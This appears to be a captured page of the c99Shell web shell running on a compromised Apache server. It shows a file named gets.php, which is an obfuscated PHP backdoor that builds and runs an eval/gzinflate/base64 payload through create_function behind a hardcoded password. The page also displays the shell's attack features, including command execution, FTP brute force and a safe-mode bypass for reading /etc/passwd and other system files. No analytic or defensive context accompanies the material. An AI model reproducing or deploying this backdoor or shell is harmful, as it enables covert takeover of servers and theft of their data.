!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/alumni/   drwxrwxrwx
Free 52.6 GB of 127.8 GB (41.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     gets.php (1.57 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Information:
Path /var/www/html/alumni/gets.php
Size 1.57 KB
MD5 9389542c0be75ab25c0b6737fd7bc5d0
Owner/Group apache/apache
Perms-rw-r--r--
Create time 02/09/2019 19:20:49
Access time 11/07/2024 17:08:28
MODIFY time 02/09/2019 19:20:49

FULL HEXDUMP
00000000
00000018
00000030
00000048
00000060
00000078
00000090
000000A8
000000C0
000000D8
000000F0
00000108
00000120
00000138
00000150
00000168
00000180
00000198
000001B0
000001C8
000001E0
000001F8
00000210
00000228
00000240
00000258
00000270
00000288
000002A0
000002B8
000002D0
000002E8
00000300
00000318
00000330
00000348
00000360
00000378
00000390
000003A8
000003C0
000003D8
000003F0
00000408
00000420
00000438
00000450
00000468
00000480
00000498
000004B0
000004C8
000004E0
000004F8
00000510
00000528
00000540
00000558
00000570
00000588
000005A0
000005B8
000005D0
000005E8
00000600
00000618
00000630
00000648
3C 3F 70 68 70 0D 0A 24 70 61 73 73 77 6F 72 64 3D 27 74 74 31 32 33 34
27 3B 0D 0A 0D 0A 24 68 74 6D 6C 3D 27 24 70 61 73 73 77 6F 72 64 27 2E
27 3D 27 2E 22 27 22 2E 24 70 61 73 73 77 6F 72 64 2E 22 27 3B 22 2E 27
40 65 23 68 74 6D 6C 27 2E 27 27 2E 27 76 27 2E 22 22 2E 27 27 2E 27 27
2E 22 22 2E 27 27 2E 27 27 2E 27 27 2E 27 61 27 2E 27 27 2E 27 6C 28 27
2E 27 67 27 2E 27 27 2E 22 22 2E 27 27 2E 27 27 2E 27 7A 27 2E 27 69 27
2E 27 27 2E 27 27 2E 27 6E 27 2E 27 66 27 2E 27 6C 27 2E 27 27 2E 27 27
2E 22 22 2E 27 61 27 2E 27 74 27 2E 27 65 28 62 27 2E 27 61 73 27 2E 27
27 2E 27 27 2E 27 27 2E 22 22 2E 27 27 2E 27 65 27 2E 27 36 27 2E 27 27
2E 22 22 2E 27 27 2E 22 22 2E 22 22 2E 22 22 2E 27 27 2E 27 34 5F 27 2E
27 64 27 2E 27 65 27 2E 27 63 27 2E 27 27 2E 27 27 2E 27 27 2E 22 22 2E
27 27 2E 22 22 2E 27 6F 27 2E 27 64 27 2E 27 65 27 2E 27 28 27 2E 22 27
6C 56 5A 74 62 35 74 49 45 50 34 65 4B 66 39 68 67 36 49 43 45 75 66 67
58 42 4C 64 78 59 72 55 4E 4D 55 6B 56 59 77 54 6A 4A 58 47 62 59 54 77
65 6A 46 62 59 35 61 79 6D 39 49 36 39 58 2B 2F 57 57 7A 48 47 4B 50 55
35 79 38 57 37 4D 77 7A 7A 7A 7A 7A 73 75 7A 76 6B 53 78 6A 6D 5A 2B 52
6C 47 57 43 4A 6D 50 4E 31 46 76 37 65 35 78 77 54 6C 6E 69 63 78 46 6B
51 70 4E 76 61 49 69 30 41 38 6F 35 45 64 71 68 33 37 4E 36 76 5A 75 75
38 30 56 4A 6F 7A 52 49 71 66 4B 6B 36 2B 68 6C 66 77 2F 42 37 78 43 6A
43 36 53 71 72 65 58 54 4D 79 64 5A 4D 43 61 4A 6B 47 38 37 62 45 62 6A
4F 44 67 36 61 5A 68 49 77 32 79 61 42 6F 49 4F 59 39 4A 43 6E 64 36 4E
68 63 34 61 5A 67 73 39 30 47 54 45 63 6F 34 63 44 35 30 32 6A 76 55 31
54 68 59 44 77 6A 44 67 35 4F 7A 45 48 78 48 4D 52 6B 54 62 66 46 49 65
2B 31 47 76 59 7A 76 57 38 4F 39 42 70 33 4E 38 50 78 74 63 54 35 70 34
32 76 35 4D 72 70 31 4A 5A 7A 49 51 6E 74 33 73 6A 71 61 66 76 4F 37 48
44 34 37 62 62 6A 63 66 76 6E 33 69 77 2F 75 4C 43 30 58 58 53 31 45 63
6B 6C 66 6A 4B 4C 65 7A 44 33 64 44 4F 34 36 43 70 6E 73 54 66 48 62 75
75 33 61 55 64 2B 7A 32 42 4E 76 6A 55 32 79 33 38 38 44 72 5A 2F 6A 62
49 48 34 38 6E 75 53 50 58 6E 51 61 50 4B 52 69 4D 49 74 2F 45 4E 76 4A
75 77 39 4F 4E 70 70 47 30 39 74 63 52 6C 6F 47 6B 6D 4B 47 7A 77 6B 57
55 6D 50 79 6B 33 4C 42 4E 54 58 6B 44 45 39 59 53 68 4A 31 72 57 62 42
4B 71 62 4A 42 4A 4A 50 67 34 77 54 48 79 68 71 6B 75 63 4B 71 72 44 34
2F 6B 79 79 58 32 42 53 6D 48 35 52 51 64 64 49 66 53 6F 62 52 49 7A 4C
43 6E 43 52 43 52 61 7A 6E 47 54 61 30 6C 51 65 71 45 38 62 59 47 45 4B
6C 71 39 6B 74 4D 4C 58 51 50 2B 59 42 6A 71 45 58 6B 6E 59 34 68 2B 67
44 4E 51 30 79 35 34 79 4B 2F 44 65 49 46 38 67 73 6D 63 5A 58 4C 45 74
44 78 32 39 4C 4D 6A 4F 30 62 58 6E 33 52 30 31 47 2B 62 58 37 47 75 69
74 47 6F 38 47 75 42 79 44 62 48 50 30 55 76 42 59 66 36 6D 5A 52 38 61
37 61 39 4C 32 57 6E 6E 36 50 2F 33 32 5A 76 51 56 79 78 4A 53 46 47 72
63 33 51 56 4D 30 36 6B 64 5A 31 48 6D 47 64 55 45 4B 6D 42 55 58 6A 72
56 55 53 61 52 43 51 59 6B 51 7A 55 61 46 62 50 4D 45 73 45 73 4F 64 53
71 53 70 77 48 74 47 59 77 50 79 46 68 49 57 46 78 46 73 61 72 78 71 46
79 4E 71 4E 43 66 52 54 77 65 4C 45 2F 50 65 73 79 75 4B 31 56 47 73 32
46 38 69 73 52 64 77 6B 31 6C 67 30 47 4B 6E 42 6D 2F 38 70 78 4C 74 33
53 46 76 79 67 2F 78 41 4F 76 54 37 4E 79 71 39 6B 47 72 57 5A 31 55 56
7A 76 78 7A 2B 4D 70 6A 69 47 58 52 43 74 32 32 52 4A 64 44 73 30 71 77
64 4C 68 45 6D 4B 2F 48 39 51 41 61 50 6D 55 67 4B 7A 5A 57 65 30 4B 58
57 57 32 4E 4D 59 5A 44 6E 79 5A 55 71 47 2B 63 6B 35 38 45 56 38 63 63
52 30 44 6D 31 56 73 72 63 79 33 65 77 75 70 6C 4B 57 78 66 48 42 6E 6F
71 75 2F 65 64 75 38 38 48 2F 34 57 64 48 61 79 39 6D 34 36 56 72 66 76
77 64 79 65 37 6D 54 76 57 6C 37 66 64 54 7A 33 30 75 6D 31 4C 64 64 41
6E 74 75 33 64 71 50 56 73 39 78 4C 32 33 49 38 6F 33 51 44 62 43 77 5A
76 4D 70 56 4B 69 47 64 74 33 43 58 52 56 75 66 37 46 41 4D 45 4D 36 48
35 74 66 55 49 49 59 74 4A 33 65 6C 48 39 5A 74 56 45 47 6D 71 52 79 30
39 79 48 4D 31 64 59 36 4C 53 4B 41 68 66 69 6C 4C 53 78 31 76 61 5A 74
33 74 4E 70 47 73 76 72 51 56 57 4E 4A 65 49 57 53 49 6D 6D 4D 69 4C 78
52 35 70 64 4A 71 4D 32 78 46 54 71 49 53 55 64 6D 59 43 2F 61 73 6B 4E
62 69 55 42 36 76 49 2F 67 45 45 4B 67 35 69 54 53 6C 73 74 39 72 36 38
34 65 4D 41 4C 37 49 46 65 32 43 6B 67 44 50 65 71 4D 72 32 78 51 37 4F
34 78 6C 4E 77 6A 67 51 31 51 73 58 66 45 76 4D 35 6F 74 50 68 42 32 2B
45 4D 69 50 49 4B 36 31 41 4C 44 35 66 77 3D 3D 27 29 29 29 3B 22 3B 24
63 73 73 3D 62 61 73 65 36 34 5F 64 65 63 6F 64 65 28 22 51 33 4A 6C 59
58 52 6C 58 30 5A 31 62 6D 4E 30 61 57 39 75 22 29 3B 24 73 74 79 6C 65
3D 24 63 73 73 28 27 27 2C 70 72 65 67 5F 72 65 70 6C 61 63 65 28 22 2F
23 68 74 6D 6C 2F 22 2C 22 22 2C 24 68 74 6D 6C 29 29 3B 24 73 74 79 6C
65 28 29 3B 2F 2A 29 29 3B 2E 27 3C 6C 69 6E 6B 72 65 6C 3D 22 73 74 79
6C 65 73 68 65 65 74 22 68 72 65 66 3D 22 24 23 63 73 73 22 2F 3E 27 3B
2A 2F
<?php  $password='tt1234
';    $html='$password'.
'='."'".$password."';".'
@e#html'.''.'v'."".''.''
."".''.''.''.'a'.''.'l('
.'g'.''."".''.''.'z'.'i'
.''.''.'n'.'f'.'l'.''.''
."".'a'.'t'.'e(b'.'as'.'
'.''.''."".''.'e'.'6'.''
."".''."".""."".''.'4_'.
'd'.'e'.'c'.''.''.''."".
''."".'o'.'d'.'e'.'('."'
lVZtb5tIEP4eKf9hg6ICEufg
XBLdxYrUNMUkVYwTjJXGbYTw
ejFbY5aym9I69X+/WWzHGKPU
5y8W7MwzzzzzsuzvkSxjmZ+R
lGWCJmPN1Fv7e5xwTlnicxFk
QpNvaIi0A8o5Edqh37N6vZuu
80VJozRIqfKk6+hlfw/B7xCj
C6SqreXTMydZMCaJkG87bEbj
ODg6aZhIw2yaBoIOY9JCnd6N
hc4aZgs90GTEco4cD502jvU1
ThYDwjDg5OzEHxHMRkTbfFIe
+1GvYzvW8O9Bp3N8PxtcT5p4
2v5Mrp1JZzIQnt3sjqafvO7H
D47bbjcfvn3iw/uLC0XXS1Ec
klfjKLezD3dDO46CpnsTfHbu
u3aUd+z2BNvjU2y388DrZ/jb
IH48nuSPXnQaPKRiMIt/ENvJ
uw9ONppG09tcRloGkmKGzwkW
UmPyk3LBNTXkDE9YShJ1rWbB
KqbJBJJPg4wTHyhqkucKqrD4
/kyyX2BSmH5RQddIfSobRIzL
CnCRCRaznGTa0lQeqE8bYGEK
lq9ktMLXQP+YBjqEXknY4h+g
DNQ0y54yK/DeIF8gsmcZXLEt
Dx29LMjO0bXn3R01G+bX7Gui
tGo8GuByDbHP0UvBYf6mZR8a
7a9L2Wnn6P/32ZvQVyxJSFGr
c3QVM06kdZ1HmGdUEKmBUXjr
VUSaRCQYkQzUaFbPMEsEsOdS
qSpwHtGYwPyFhIWFxFsarxqF
yNqNCfRTweLE/PesyuK1VGs2
F8isRdwk1lg0GKnBm/8pxLt3
SFvyg/xAOvT7Nyq9kGrWZ1UV
zvxz+MpjiGXRCt22RJdDs0qw
dLhEmK/H9QAaPmUgKzZWe0KX
WW2NMYZDnyZUqG+ck58EV8cc
R0Dm1Vsrcy3ewuplKWxfHBno
qu/edu88H/4WdHay9m46Vrfv
wdye7mTvWl7fdTz30um1LddA
ntu3dqPVs9xL23I8o3QDbCwZ
vMpVKiGdt3CXRVuf7FAMEM6H
5tfUIIYtJ3elH9ZtVEGmqRy0
9yHM1dY6LSKAhfilLSx1vaZt
3tNpGsvrQVWNJeIWSImmMiLx
R5pdJqM2xFTqISUdmYC/askN
biUB6vI/gEEKg5iTSlst9r68
4eMAL7IFe2CkgDPeqMr2xQ7O
4xlNwjgQ1QsXfEvM5otPhB2+
EMiPIK61ALD5fw==')));";$
css=base64_decode("Q3JlY
XRlX0Z1bmN0aW9u");$style
=$css('',preg_replace("/
#html/","",$html));$styl
e();/*));.'<linkrel="sty
lesheet"href="$#css"/>';
*/

HEXDUMP: [Full] [Preview]
Base64:
[Encode [+chunk [+chunk+quotes [Decode


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0118 ]--